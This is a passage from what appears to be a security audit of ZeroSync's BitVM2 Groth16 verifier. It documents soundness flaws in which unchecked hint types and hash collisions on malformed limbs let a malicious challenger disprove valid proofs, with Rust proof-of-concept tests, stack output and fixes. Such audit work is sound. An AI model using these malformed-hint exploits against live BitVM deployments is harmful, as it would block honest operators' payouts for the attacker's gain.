            hints: vec![],
            scr_type: ScriptType::NonDeterministic,
            scr: script!{}.compile()
        };
        let target_segment = wrap_hints_dense_dense_mul(false, 24,
    &input_segment_a, &input_segment_b);

        // Fake value needed to calculate hints. We only use this for
    computational and result hints
        let fake_input_a = DataType::Fp6Data(
            ark_bn254::Fq6::new(
                input_a0,
                ark_bn254::Fq2::from(-1),
                ark_bn254::Fq2::from(0),
            )
        );
        let fake_input_segment_a = Segment {
            id: 1,
            is_valid_input: true,
            parameter_ids: vec![],
```

```
            result: (fake_input_a, ElementType::Fp6),
            hints: vec![],
            scr_type: ScriptType::NonDeterministic,
            scr: script!{}.compile()
        };
        let fake_segment = wrap_hints_dense_dense_mul(false, 24,
&fake_input_segment_a, &input_segment_b);

        println!{"Build hint script"};
        let script = script! {
            for h in &fake_segment.hints {
                {h.push()}
            }
            for (i,h)
in fake_input_a.to_witness(ElementType::Fp6).iter().enumerate() {
                // Use stack values that have same hash as input_a,
                // but behave arithmetically as fake_input_a
                if i == 2 {
                    {0}
                    {0}
                    {0}
                    {0}
                    {0}
                    {0}
                    {0}
                    {0}
                    {-1}
                } else {
                    {h.push()}
                }
            }
            for h in input_b.to_witness(ElementType::Fp6).iter() {
                {h.push()}
            }
            // Result for fake input, whose hash differs from hash of correct
result
            for h in fake_segment.result.0.to_witness(ElementType::Fp6).iter()
{
                {h.push()}
            }
            // bitcom hints for correct operator assertions
            {target_segment.result.0.to_hash().as_hint_type().push()}
            {Fq::toaltstack()}
            {input_b.to_hash().as_hint_type().push()}
            {Fq::toaltstack()}
            {input_a.to_hash().as_hint_type().push()}
            {Fq::toaltstack()}
```

```
            {script!{}.push_script(target_segment.scr.clone())}
            {hash_messages(vec![ElementType::Fp6, ElementType::Fp6,
    ElementType::Fp6])}
            OP_TRUE
        };
        let exec_result = execute_script(script);
        println!("Result: {:?}", exec_result.success);
        if exec_result.success {
            success += 1
        }
    }
    if success > 0 {
        println!{"Successfully disproved valid assertions ({:?}/{:?}
    attempts)", success, TRIES};
        panic!{}
    }
}
```

Impact

A malicious challenger can successfully execute the tapscript even though the signed assertions belong to a valid Groth16 proof. Therefore, a correct proof can be successfully challenged.

Recommendations

Add a check to the tapscripts that validates that the input hints are well-formed values of the expected arithmetic type.

Remediation

This issue has been acknowledged by ZeroSync, and a partial fix was implemented in the following commits:

- 8f4782b2
- 2d593f50
- cd0a2d22
- cfc029f4
- 6df06172
- fb9dd6eb
- 3a1a4113
- cb15a156
- 269b8c11

- 72b3e4d2
- c717839a
- 0554c9e0
- 7f7eb7c6
- f20e24b8
- e03d3367

In these remediations, type checks have been added individually to all ops script inputs which are used as field values. Inputs that are only used as hashes to facilitate partial hash opening have not been checked.

For this to be a complete fix, the following is required. Firstly, the ops script must not depend on the hash inputs to have the type `U256`. This relies on the correct behaviour of script parts on types they are not intended for, as described in Finding 3.42.

Secondly, the hash script must not expect its arguments to be type checked before. The hash script was addressed separately in the remediation to Finding 3.5., so the overall correctness relies on these remediations to be merged correctly.

Because the type checks were introduced individually and are not derived from the inputs from the `Segment` struct, the overall protection is brittle and further changes can easily introduce new vulnerabilities. We explain these concerns and possible ways to improve the security in this regard in Section 6.1.

3.3. Result hint types not validated

Target	Segments MillerSquaring, MillerPointOpsStep2, FoldedFp12Multiply		
Category	Soundness	**Severity**	Critical
Likelihood	High	**Impact**	Critical

Description

Three tapscript types, MillerSquaring, MillerPointOpsStep2, and FoldedFp12Multiply, expect that the top stack element after the execution of the bitcom script holds the result of the arithmetic operation of that segment. This value is part of the witness, and its contents can be arbitrary.

The ops script then verifies that the result is correct for the given inputs instead of computing the result from the inputs. This is used to avoid a division operation and instead verify the result by checking that multiplying with the divisor yields the dividend. If the inputs match the assertions signed by the operator but the result differs from the signed one, the script succeeds, because the challenger successfully demonstrated a faulty signed assertion.

We found that the ops script does not validate that the result hint stack values are a well-formed arithmetic value of the expected type (six `Fq` values). A malicious challenger can provide a malformed result hint that performs under arithmetic operations in the same way as the correct result. The ops script will then certify that the result hint was correct. Because it was malformed, it differs from the signed assertion of the operator. The hash script then counts this as a successful disprove and the tapscript succeeds, despite the signed assertions being correct.

Demonstration

Here is an example for the MillerSquaring tapscript. The test uses random inputs and thus does not rely on specific values. The concrete exploit used in the test targets a specific limb of the result hint and succeeds in approximately one third of the tested cases. The randomness comes from a requirement of this specific exploit, which requires a certain carry operation to occur.

Because there are 16 limbs that can be targeted with this exploit and multiple tapscripts of this type, an arbitrary correct proof can be exploited almost certainly.

```
#[test]
fn zellic_missing_result_type_check() {
    const TRIES : u64 = 100;
    let mut success = 0;
    for i in 0..TRIES {
        let mut prng = ChaCha20Rng::seed_from_u64(i);
        // Generate random test input
```

```
        let input = DataType::Fp6Data(ark_bn254::Fq6::rand(&mut prng));
        // Wrap as a Segment that had this value as a result
        let input_segment = Segment {
            id: 0,
            is_valid_input: true,
            parameter_ids: vec![],
            result: (input, ElementType::Fp6),
            hints: vec![],
            scr_type: ScriptType::NonDeterministic,
            scr: script!{}.compile()
        };

        // Generate the targeted segment
        let target_segment = wrap_hint_squaring(false, 1, &input_segment);
        let result = target_segment.result.0;

        // We will manipulate the third coefficient of the result Fq6 value in
    the hint
        // Extract limbs of third coefficient of result
        let mut target_coeff_limbs = vec![];
        let result_fq6 = ark_bn254::Fq6::try_from(result).unwrap();
        let target_coeff_bits_le =
    result_fq6.c1.c0.into_bigint().to_bits_le();
        for i in 0..(Fq::N_LIMBS as usize) {
            const LIMB_SIZE : usize = 29;
            let mut val : i32 = 0;
            let lower = i*LIMB_SIZE;
            let upper = std::cmp::min((i+1)*LIMB_SIZE,
    target_coeff_bits_le.len());
            if upper > lower {
                for (j,bit)
    in target_coeff_bits_le[lower..upper].into_iter().enumerate() {
                    if *bit {
                        val += 1 << j;
                    }
                }
            }
            target_coeff_limbs.push(val);
        }
        target_coeff_limbs.reverse();

        let script = script! {
            // computational hints
            for h in target_segment.hints {
                {h.push()}
            }
            // input hints
```

```
            for h in input.to_witness(ElementType::Fp6).iter() {
                {h.push()}
            }
            // result hint
            for (i,h)
    in result.to_witness(ElementType::Fp6).iter().enumerate() {
                if i == 2 {
                    {target_coeff_limbs[0]}
                    {target_coeff_limbs[1]}
                    {target_coeff_limbs[2]}
                    {target_coeff_limbs[3]}
                    {target_coeff_limbs[4]}
                    {target_coeff_limbs[5]}
                    {target_coeff_limbs[6]}
                    // Manipulate the two least significant limbs
                    {target_coeff_limbs[7] + 1}
                    // This creates a negative limb, making the hint malformed
                    {target_coeff_limbs[8] - (1<<29)}
                } else {
                    {h.push()}
                }
            }
            // bitcom hints for correct assertions
            {result.to_hash().as_hint_type().push()}
            {Fq::toaltstack()}
            {input.to_hash().as_hint_type().push()}
            {Fq::toaltstack()}
            // ops script
            {script!{}.push_script(target_segment.scr.clone())}
            // hash script
            {hash_messages(vec![ElementType::Fp6, ElementType::Fp6])}
            OP_TRUE
        };
        let exec_result = execute_script(script);
        println!("Result: {:?}", exec_result.success);
        if exec_result.success {
            success += 1
        }
    }
    if success > 0 {
        println!{"Successfully disproved valid assertions ({:?}/{:?}
    attempts)", success, TRIES};
        panic!{}
    }
}
```

Impact

A malicious challenger can successfully execute any of the three tapscript types with result hints for arbitrary valid assertions. Therefore, an arbitrary correct proof can be successfully challenged.

Recommendations

Add a check to the tapscripts that validates that the result hint is a well-formed value of the expected arithmetic type.

Remediation

This issue has been acknowledged by ZeroSync, and a fix was implemented in the following commits:

- 8f4782b2
- 2d593f50
- cd0a2d22
- cfc029f4
- 6df06172
- fb9dd6eb
- 3a1a4113
- cb15a156
- 269b8c11
- 72b3e4d2
- c717839a
- 0554c9e0
- 7f7eb7c6
- f20e24b8
- e03d3367

Because the type checks were introduced individually and are not derived from the `Segment` struct, the overall protection is brittle and further changes can easily introduce new vulnerabilities. We explain these concerns and possible ways to improve the security in this regard in Section 6.1.

3.4. Computational hint types not validated

Target	All functions using computational hints		
Category	Soundness	**Severity**	Critical
Likelihood	High	**Impact**	Critical

Description

This finding concerns Rust functions that produce scripts that carry out arithmetic computations as part of the ops script using computational hints as described in the ops script subsection of section 5.4. ↗.

Some arithmetic operations are easier to evaluate when provided with additional helping data. In these cases, computational hints are used as an optimization. For example, in the case of multiplication of `0 <= x < p` with `0 <= y < p` modulo a prime `p`, the quotient `q = floor((x*y) / q)` is needed, with the result being `x*y - q*p` (computed as integers). However, computation of `q` is not simple, so instead, `q` is provided as a computational hint, so that the script merely needs to compute `x*y - q*p` and verify that `0 <= x*y - q*p < p`.

We call computational hints those stack values that are rolled up from the bottom of the stack during script evaluations. They originate from the witness provided by the challenger and cannot be trusted. The consuming script cannot make any assumptions on the stack content it uses as a computational hint.

If the script succeeds, the result must be correct independently of the stack content used as computational hints. The script is allowed to fail when the computational hints are not suitable. The Rust function that outputs the script also outputs values for the consumed computational hints for a given input. The script must succeed with these computed hints to allow the challenger to successfully run the script.

We found scripts that rely on the computational hint stack elements to hold the stack representation of some expected type without validating this assumption. When provided with malformed computational hints, these scripts might execute successfully while producing incorrect results.

This is an issue in all functions that utilize computational hints. We will discuss as the main example the case of `tmul` via one of its wrappers, `hinted_mul`, below. Overall, we observed this issue in the following functions:

Function	Hint	Type
`Fp254Impl::hinted_mul`	quotient `q`	Bigint `Fp254Mul::T`
`Fp254Impl::hinted_mul_by_constant`	quotient `q`	Bigint `Fp254Mul::T`
`Fp254Impl::hinted_mul_keep_element`	quotient `q`	Bigint `Fp254Mul::T`
`Fp254Impl::hinted_mul_lc2`	quotient `q`	Bigint `Fp254Mul2LC::T`
`Fp254Impl::hinted_mul_lc2_w4`	quotient `q`	Bigint `Fp254Mul2LCW4::T`
`Fp254Impl::hinted_mul_lc4`	quotient `q`	Bigint `Fp254Mul4LC::T`
`Fp254Impl::hinted_mul_lc2_keep_elements`	quotient `q`	Bigint `Fp254Mul2LC::T`
`Fp254Impl::hinted_mul_lc2_keep_elements_w4`	quotient `q`	Bigint `Fp254Mul2LCW4::T`
`Fp254Impl::hinted_square`	quotient `q`	Bigint `Fp254Mul::T`
`Fp254Impl::hinted_inv`	quotient `q`	Bigint `Fp254Mul::T`
`Fp254Impl::hinted_inv`	inverse `y`	`Fq`
`G1Affine::hinted_check_add`	slope `alpha`	`Fq`
`G1Affine::hinted_check_add`	`-bias`	`Fq`
`G1Affine::hinted_check_double`	slope `alpha`	`Fq`
`G1Affine::hinted_check_double`	`-bias`	`Fq`
`bn254::g1::hinted_from_eval_points`	`py_inv`	`Fq`
`bn254::g2::hinted_ell_by_constant_affine_and_sparse_mul`	`constant`	`Fq[4]`
`chunk::taps_point_ops::utils_point_double_eval`	slope `alpha`	`Fq[2]`
`chunk::taps_point_ops::utils_point_double_eval`	`-bias`	`Fq[2]`
`chunk::taps_point_ops::utils_point_add_eval`	slope `alpha`	`Fq[2]`
`chunk::taps_point_ops::utils_point_add_eval`	`-bias`	`Fq[2]`

In the table above, the last column indicates the type for which the hint should be validated. For bigint types, this means checking that the hint is a well-formed bigint — that is, all limbs are in the allowed range. For `Fq`, this means validating the hint is a well-formed bigint and reduced.

Details for hints used in `tmul`

The `hinted_mul` function in bitvm/src/bn254/fp254impl.rs expects three bigints on the stack. At depths defined by the arguments to `hinted_mul`, two bigints `x` and `y` of type `Fp254Mul::U` are expected. These are the two elements that are to be multiplied modulo `p`, where `p` is the order of the base field, `0x30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd47`. Furthermore, another bigint, `q` of type `Fp254Mul::T`, is fetched from the bottom of the stack.

The `hinted_mul` script mostly acts as a wrapper around `tmul` that fetches the three bigints and places them at the top of the stack and is then followed by the `tmul` script:

```
for _ in 0..Self::N_LIMBS {
    OP_DEPTH OP_1SUB OP_ROLL // hints
}
{ Fq::roll(a_depth + 1) }
{ Fq::roll(b_depth + 1) }
{ Fq::tmul() }
```

Simplifying somewhat, the `tmul` script can be described as computing `x*y - q*p` using interleaved windowed multiplication, checking that this result is between `0` and `p-1` (failing otherwise), and then leaving this result on the stack.

Neither `hinted_mul` nor `tmul` nor their callers validate that the stack elements used as limbs of `q` are well-formed bigints of type `Fp254Mul::T`. For example, the lower limbs need to be nonnegative integers that are smaller than 2^{29} to be well-formed limbs of a `Fp254Mul::T` bigint, but this is not checked.

Thus, a user can provide a hint for `q` that is not well-formed as a bigint. For a random such `q`, the `hinted_mul` script will likely fail. However, by carefully choosing `q`, it is possible to make the `hinted_mul` script succeed while producing an unexpected result.

Concretely, consider the following test:

```
#[test]
fn test_zellic_hinted_mul_malformed_hint() {
    let k : i32 = 10936642;
    let l : usize = 6;
    let a = -ark_bn254::Fq::one();
    let b = ark_bn254::Fq::from(k) * ark_bn254::Fq::from(2).pow([(l*29)
    as u64]);
    let c = a.mul(&b);

    let mut quotient_limbs : [i32; 9] = [0; 9];
```

```
    for i in 0..9{
        if i == 8-l-1 {
            quotient_limbs[i] = -1;
        }
        if i == 8-l {
            quotient_limbs[i] = (1<<29) + k;
        }
    }

    let (hinted_mul, _) = Fq::hinted_mul(1, a, 0, b);

    let script = script! {
        for limb in quotient_limbs {
            { limb }
        }
        { Fq::push(a) }
        { Fq::push(b) }
        { hinted_mul.clone() }
        { Fq::push(c) }
    };
    run(script);
}
```

In this test, the `hinted_mul` script is used to compute the product modulo `p` of `-1` (this will be represented by a bigint for `p-1`) times $10936642 \cdot 2^{6 \cdot 29}$. Note that the correct hint for `q` would be a well-formed bigint representing $10936642 \cdot 2^{6 \cdot 29} - 1$. Then `hinted_mul` would compute

$$10936642 \cdot 2^{6 \cdot 29} \cdot (p-1) - \left(10936642 \cdot 2^{6 \cdot 29} - 1\right) \cdot p = p - 10936642 \cdot 2^{6 \cdot 29}$$

which lies in the range from 0 to $p-1$ (inclusive).

However, in the test, we use limbs for q as follows (limbs given with most significant one first), with $k = 10936642$,

$$\left(0, -1, 2^{29} + k, 0, 0, 0, 0, 0, 0\right)$$

instead of the expected:

$$\left(0, 0, k-1, 2^{29}-1, 2^{29}-1, 2^{29}-1, 2^{29}-1, 2^{29}-1, 2^{29}-1\right)$$

In `tmul`, the first use of q is to compute its negative. This leads us to the first bigint operation that assumes the inputs are well-formed. Taking the difference of two bigints is performed limb by limb, with appropriate handling of carry. Handling a single limb, the script produced by `limb_sub_borrow` first computes the difference of the two input limbs. It then checks whether the result is negative, and if so, adds 2^{29} (each limb is to be 29 bits wide) and sets the carry for the next limb to be one. Note that if the input limbs are both nonnegative and smaller than 2^{29}, then this is also true for the resulting limb. However, nonstandard inputs can cause nonstandard outputs.

This is what will occur when computing the negative of q, which will take the following form:

$$(0, 0, -k, 0, 0, 0, 0, 0, 0)$$

During `tmul`'s interleaved windowed multiplication and accumulation, the particular values chosen will avoid any overflows that could make the script fail and compute a result for $\left(k \cdot 2^{6 \cdot 29}\right) \cdot (p-1) - q \cdot p$ that has the following limbs:

$$(0, 0, -k, 0, 0, 0, 0, 0, 0)$$

Due to a quirk of how `tmul` is implemented, it will detect $-q$ as being a positive number and then add p to the obtained result (see Finding 3.37. ↗). The end result then passes the check of lying in the range from 0 to $p-1$, so the `hinted_mul` script completes successfully.

Executing the test above, we also push the expected result at the end. Afterwards, the test will fail because there is still something on the stack at the end (namely the `hinted_mul` result and the expected result `c`), but like this, we can see in the output that `hinted_mul` did indeed run through without causing a script failure (see the `next_op: None` part below), and we can see what exactly `hinted_mul` left on the stack. The output is as follows:

```
...
next_op: None
        stack: Stack([Num(3171406), Num(240920116), Num(-1), Num(47923392),
    Num(361093496), Num(47522512), Num(477274959), Num(17064118),
    Num(410844487), StrRef(RefCell { value: [78, 100, 48] }), StrRef(RefCell {
    value: [51, 38, 92, 14] }), StrRef(RefCell { value: [255, 255, 255, 31]
    }), StrRef(RefCell { value: [192, 64, 219, 2] }), StrRef(RefCell { value:
    [120, 217, 133, 21] }), StrRef(RefCell { value: [208, 34, 213, 2] }),
    StrRef(RefCell { value: [79, 163, 114, 28] }), StrRef(RefCell { value:
    [182, 96, 4, 1] }), StrRef(RefCell { value: [71, 253, 124, 24] })])
        altstack: Stack([])
ERROR: None <---
 STACK:
0:              0x30644e   0x0e5c2634 0x81       0x02db40c0
4:              0x1585d978 0x02d522d0 0x1c72a34f 0x010460b6
8:              0x187cfd47 0x30644e   0x0e5c2633 0x1fffffff
12:             0x02db40c0 0x1585d978 0x02d522d0 0x1c72a34f
16:             0x010460b6 0x187cfd47
```

Copied here are the limbs of the result of `hinted_mul` and the expected mul below in one line each for easier comparison:

```
result from hinted_mul: 0x30644e   0x0e5c2634 0x81       0x02db40c0 0x1585d978
    0x02d522d0 0x1c72a34f 0x010460b6 0x187cfd47
expected result:        0x30644e   0x0e5c2633 0x1fffffff 0x02db40c0 0x1585d978
    0x02d522d0 0x1c72a34f 0x010460b6 0x187cfd47
```

As seen, they differ in two limbs. The result actually represents the same integer (where by the represented integer we mean $\sum_{i=0}^{k} \texttt{limb}_i \cdot 2^{29 \cdot i}$, with $\texttt{limb}_i$ being the i-th limb, counting from the top of the stack), but the result from `hinted_mul` is a nonstandard representation where one limb is negative (`0x81` here has numeric value `-1`).

So far, this is just a nonstandard representation of the expected result. But now, let us assume we want to divide the product by three afterwards, with `Fq::div3()`. We can use the following test:

```
#[test]
fn test_zellic_hinted_mul_malformed_hint2() {
    use crate::bigint::U254;
    let k : i32 = 10936642;
    let l : usize = 6;
    let a = -ark_bn254::Fq::one();
    let b = ark_bn254::Fq::from(k) * ark_bn254::Fq::from(2).pow([(l*29)
    as u64]);
    let c = a.mul(&b);

    let mut quotient_limbs : [i32; 9] = [0; 9];
    for i in 0..9{
        if i == 8-l-1 {
            quotient_limbs[i] = -1;
        }
        if i == 8-l {
            quotient_limbs[i] = (1<<29) + k;
        }
    }

    let (hinted_mul, _) = Fq::hinted_mul(1, a, 0, b);

    let script = script! {
        for limb in quotient_limbs {
            { limb }
        }
        { Fq::push(a) }
        { Fq::push(b) }
        { hinted_mul.clone() }
        { Fq::div3() }
    };
    run(script);
}
```

This again runs through without failure until the end (with the test just failing because things are still on the stack at the end of the script). The stack will be

```
0:              0x2042de   0x1ee81978 0x37a06b   0x01e78080
4:              0x03ae90fa 0x1738c1e0 0x12f7178a 0x00ad95cf
```

```
8:                0x05a8a8da
```

However, this result is not just a nonstandard representation of the correct result; it is completely incorrect.

This can be verified with Python as follows:

```
p = 0x30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd47

limbs_obtained =  [0x30644e, 0x0e5c2634, -1, 0x02db40c0, 0x1585d978,
    0x02d522d0, 0x1c72a34f, 0x010460b6, 0x187cfd47]
limbs_correct = [0x30644e, 0x0e5c2633, 0x1fffffff, 0x02db40c0, 0x1585d978,
    0x02d522d0, 0x1c72a34f, 0x010460b6, 0x187cfd47]

def limbs_to_value(limbs):
    return sum(x*(2**(29*i)) for i, x in enumerate(limbs[::-1]))

correct_result = limbs_to_value(limbs_correct)
assert correct_result == limbs_to_value(limbs_obtained)

assert 0 <= correct_result < p

correct_div_3 = (correct_result * pow(3, -1, p)) % p
assert 0 <= correct_div_3 < p and (correct_div_3*3) % p == correct_result

limbs_malformed_result_div3 = [0x2042de, 0x1ee81978, 0x37a06b, 0x01e78080,
    0x03ae90fa, 0x1738c1e0, 0x12f7178a, 0x00ad95cf, 0x05a8a8da]
malformed_value_div3 = limbs_to_value(limbs_malformed_result_div3)
```

The above script computes the value represented by the output obtained from the test and also computes the expected correct value. These values are as follows:

```
>>> malformed_value_div3
14592161914559516727537429014801420661940893889865493395890767185141266163930
>>> correct_div_3
7296080957279758320121952451301401823034451908124213457612938304900933375085
```

As seen, the value obtained by dividing this nonstandard value by three is completely different than the correct result.

Lack of validation checks on the quotient hint for `hinted_mul` thus mean that attackers that can choose the hint can utilize malformed hints to obtain incorrect results in the main script.

Impact

In the overall optimistic flow for the chunked script (see the BitVM2 paper ↗ for more details as well as section 5. ↗), the operator first published a Claim transaction, which anyone may challenge with a Challenge transaction. The operator will then have to produce an Assert transaction, in which they post the state of the chunked script between each segment.

Let us consider, as a simplified example, a segment that consists of `Fq::hinted_mul` followed by `Fq::div3`. In this case, the state z_i before this segment may encode a stack with two bigints x and y for the factors to be multiplied modulo p. The state z_{i+1} would encode the result after the segment has been run, which would contain only the result of $x \cdot y \cdot 3^{-1}$ in $\mathbb{F}_p$. Note that the hint is not part of the state.

The challenger can now post a Disprove transaction, in which they disprove a particular segment, such as the segment from z_i to z_{i+1}. For this, the `scriptPubKey` script will contain in particular the `Fq::hinted_mul` followed by `Fq::div3` script, while the challenger will have to provide the hint with their `scriptSig`. If the `Fq::hinted_mul` followed by the `Fq::div3` script succeeds but the resulting state differs from z_{i+1}, then the operator will not get their payout, which instead will be partially burned and partially given to the challenger.

As we saw above, using malformed hints for `hinted_mul`, a malicious challenger could illegitimately disprove a correct assertion by the operator, as the result would differ from the correct assertion by the operator. As hinted scripts are widely used in the BitVM2 segments, and the attacker only needs to illegitimately disprove a single segment, this makes it possible for attackers to block legitimate assertions while gaining economically from this.

Recommendations

Before use, computational hints should be checked to satisfy the requirements imposed by their expected type.

We recommend to carry out this check in those scripts in which the hints are fetched from the bottom of the stack. Thus, snippets like the following,

```
for _ in 0..Self::N_LIMBS {
    OP_DEPTH OP_1SUB OP_ROLL
}
```

which moves a hint from the bottom of the stack to the top, should usually be followed by the necessary checks to, for example, ensure that these stack elements amount to a well-formed bigint of the appropriate type.

Remediation

This issue has been acknowledged by ZeroSync, and fixes were implemented in the following commits:

- 820ea634
- 723e0c5b
- 3bf802ff
- 85ab5b12
- 05a8dec7

3.5. Ops-script output types not validated before hashing

Target	All tapscripts		
Category	Soundness	**Severity**	Critical
Likelihood	Medium	**Impact**	High

Description

The input hints and result (if present) are at the top of the stack after execution of the ops script. They are verified by the hash script against the asserted hashes on the altstack. The hash script verifies its input only under the assumption that it consists of well-formed U256 values. This assumption is not validated.

The `transform_limbsize` used during hashing converts a 256-bit value from limb size 29 to limb size 4. If the value of a limb before the conversion lies outside the range from 0 to $2^{29} - 1$, it leads to the same result as if it lied on the boundary. For example, a limb value `-1` leads to the same result as the limb value 0 under `transform_limbsize`. This results in these values evaluating to the same hash under `blake3_compute_script`.

Demonstration

Below is an isolated demonstration of the behavior of the hash script. A demonstration of the finding in the context of a complete tapscript is given in Finding 3.2. ↗.

```
#[test]
fn zellic_hash_collision_on_invalid_input() {
    let zero = script! {
        {0} {0} {0} {0} {0} {0} {0} {0} {0}
    };
    let fake_zero = script! {
        {0} {0} {0} {0} {0} {0} {0} {0} {-1}
    };
    let res = execute_script(script! {
        // hash of `zero zero`
        {zero.clone()} {zero.clone()} {blake3_compute_script(64)}
        for _ in 0..64 {
            OP_TOALTSTACK
        }
        // hash of `zero fake_zero`
        {zero.clone()} {fake_zero.clone()} {blake3_compute_script(64)}
        // they are equal
```

```
        for i in 0..64 {
            OP_FROMALTSTACK
            {64-i} OP_ROLL
            OP_EQUALVERIFY
        }
        {1}
    });
    assert!(!res.success);
}
```

Impact

A malicious challenger can provide malformed inputs with the same hash as the asserted inputs. The hash script then erroneously certifies that the correct inputs were provided. If the malformed inputs lead to a different computational result, the tapscript erroneously succeeds.

Recommendations

With the current script, a malicious challenger can provide malformed input to the hash function as input or result hints, which are not typechecked as documented in Findings 3.3. ↗ and 3.2. ↗.

Implementing the recommendations for these findings will in particular ensure that the input to the hash script consists of well-formed U256 stack elements.

Remediation

This issue has been acknowledged by ZeroSync, and fixes were implemented in the following commits:

- 535a7319 ↗
- 08d80cae ↗

3.6. Usage of point types with malformed values

Target	Code using types G1Affine and G2Affine of the crate ark-bn254		
Category	Code Maturity	**Severity**	Critical
Likelihood	Medium	**Impact**	High

Description

The code uses the types `ark_bn254::G1Affine` and `ark_bn254::G2Affine` from the crate `ark-bn254`. These types are intended to represent points in the subgroups G1 and G2 of the bn254 curve and its twist E', respectively. This is documented in the `ark_ec::AffineRepr` trait, which these types implement:

> The point is guaranteed to be in the correct prime order subgroup.

However, these types are used in malformed ways, which can be dangerous. In the subsections below, we describe some particular classes that we could identify.

Malformed instantiation

The constructors `*::new()` of both types check that the provided arguments constitute a point in the respective subgroup. It is technically possible to create malformed instances via functions named `*::*_unchecked()` in the respective types. These functions can be used to skip the check computions if it is already known that the provided values constitute a point in the correct subgroup.

We found several instances in the codebase where malformed elements of the types `ark_bn254::G1Affine` and `ark_bn254::G1Affine` are constructed.

Here is one example:

```
// taps_msm.rs:chunk_msm
{ G1Affine::push( ark_bn254::G1Affine::new_unchecked(ark_bn254::Fq::ZERO,
    ark_bn254::Fq::ZERO))}
```

Operations on malformed values

Further operations on elements of this type can assume that the values represent points in the respective subgroups. While implementions in the crate `ark-bn254` may currently sometimes

produce desired results for malformed values, such behavior should not be relied upon, as it might not be guaranteed to hold in all required cases and could change in new versions of the crate.

We found that the code uses functions of the crate `ark-bn254` with malformed values of `ark_bn254::G1Affine` and `ark_bn254::G2Affine`. It in particular relies upon the correctness of the addition of `ark_bn254::G2Affine` points where the values only lie on the curve but are not in the subgroup.

The tapscript PreMillerInitT4 only checks that the operator-provided coordinates of `q4` represent a point on E'. The check that the point is in the correct subgroup relies on the addition of points on E'. The result computation, and therefore the hint generation, relies on the addition from the crate `ark-bn254` being correct for points in E' that are not in G2.

```
// g16_runner_utils.rs:wrap_chunk_point_ops_and_multiply_line_evals_step_1
q4 = Some(ark_bn254::G2Affine::new_unchecked(
    ark_bn254::Fq2::new(q4xc0.into(), q4xc1.into()),
    ark_bn254::Fq2::new(q4yc0.into(), q4yc1.into()),
));
```

The point `q4` is then used here as `qq`:

```
// taps_point_ops.rs:utils_point_add_eval
((t + qq).into_affine(), (add_le0, add_le1))
```

Incorrect handling of the point at infinity in Rust code

The types `ark_bn254::G1Affine` and `ark_bn254::G2Affine` have a field `infinity` separate from the coordinates to mark the point at infinity. If this field is true, the coordinates of the element should not be assumed to hold any specific values, as the point represented is infinity.

We found several instances in the codebase in which values of coordinate fields are used without checking whether the point is infinity.

Here is one example:

```
// elements.rs
fn as_hints_g1type_g1data(r:  ark_bn254::G1Affine) -> Vec<Hint> {
    let hints = vec![Hint::Fq(r.x), Hint::Fq(r.y)];
    hints
}
```

Incorrect translation of the point at infinity between `ark_bn254` and stack values

The representation of point values as Bitcoin stack elements differs in from the `ark_bn254` types. On the stack, the point infinity is represented by the pair `(0,0)` in the respective coordinate types.

When translating between stack values and `ark_bn254` point values, the infinity case needs to be checked.

We found that the code lacks the required handling of the point infinity in many places. Coordinate pairs are converted in both directions without handling the point infinity correctly.

In the currently used version of the crate `ark-ec`, creating a point at infinity sets the `x` and `y` fields to zero and thus matches the convention used by the Bitcoin scripts:

```
pub const fn identity() -> Self {
    Self {
        x: P::BaseField::ZERO,
        y: P::BaseField::ZERO,
        infinity: true,
    }
}
```

However, this is an internal implementation detail that should not be relied upon. For example, arithmetic operations, such as addition of two points, appear to ignore the `x` and `y` fields should `infinity` be `true`.

Here are a few examples:

```
// g1.rs
// Must check element.infinity
pub fn push(element: ark_bn254::G1Affine) -> Script {
    script! {
        { Fq::push_u32_le(&BigUint::from(element.x).to_u32_digits()) }
        { Fq::push_u32_le(&BigUint::from(element.y).to_u32_digits()) }
    }
}

pub fn read_from_stack(witness: Vec<Vec<u8>>) -> ark_bn254::G1Affine {
    assert_eq!(witness.len() as u32, Fq::N_LIMBS * 2);
    let x = Fq::read_u32_le(witness[0..Fq::N_LIMBS as usize].to_vec());
    let y = Fq::read_u32_le(witness[Fq::N_LIMBS as usize..2 * Fq::N_LIMBS
    as usize].to_vec());
    ark_bn254::G1Affine {
        x: BigUint::from_slice(&x).into(),
        y: BigUint::from_slice(&y).into(),
        // Must check whether x,y are zero.
        infinity: false,
    }
}
```

Usage of `G1Affine` with incorrect coordinate system

The implemented algorithm uses the projective coordinate transformation `(x,y) -> (-x/y,1/y)` to prepare the evaluation of line functions. This function is applied to coordinates of `arbn_254::G1Affine` points. While the function is a projective coordinate transformation, its value represents coordinates for a curve that is isomorphic to E but has a different equation. This means that the pair `(-x/y,1/y)` does not satisfy the curve equation for the type `ark_bn254::G1Affine`.

We found that the code uses the type `ark_bn254::G1Affine` to hold coordinate pairs `(-x/y,1/y)`. These coordinate pairs are malformed for that type.

Here is one example:

```
// taps_ext_miller.rs:chunk_precompute_p
let pdy = py.inverse().unwrap();
let pdx = -px * pdy;

ark_bn254::G1Affine::new_unchecked(pdx, pdy)
```

Impact

The intentional usage of the `ark_bn254` point types for malformed values implies that values of this type cannot be assumed to represent points in the subgroups in any part of the code.

Some code parts rely on their arguments to represent points in the subgroups, for example when they invoke the addition function of the type.

While there are many occurences of these issues, we present the impact of one particular example, where malformed instantiations involving the point at infinity and operations on the malformed value combine.

The PreMillerHashP segment is generated using `chunk_hash_p` from bitvm/src/chunk/taps_msm.rs. This function begins as follows:

```
pub(crate) fn chunk_hash_p(
    hint_in_t: ark_bn254::G1Affine,
    hint_in_q: ark_bn254::G1Affine,
) -> (ark_bn254::G1Affine, bool, Script, Vec<Hint>) {
    // r (gp3) = t(msm) + q(vk0)
    let (tx, qx, ty, qy) = (hint_in_t.x, hint_in_q.x, hint_in_t.y,
    hint_in_q.y);
    let t = ark_bn254::G1Affine::new_unchecked(tx, ty);
    let q = ark_bn254::G1Affine::new_unchecked(qx, qy);
    let (add_scr, add_hints) = G1Affine::hinted_check_add(t, q);
    let r = (t + q).into_affine();
```

Here, `hint_in_t` is the product of the public value scalar with an elliptic curve point from the

verifying key, and `hint_in_q` is a point from the verifying key.

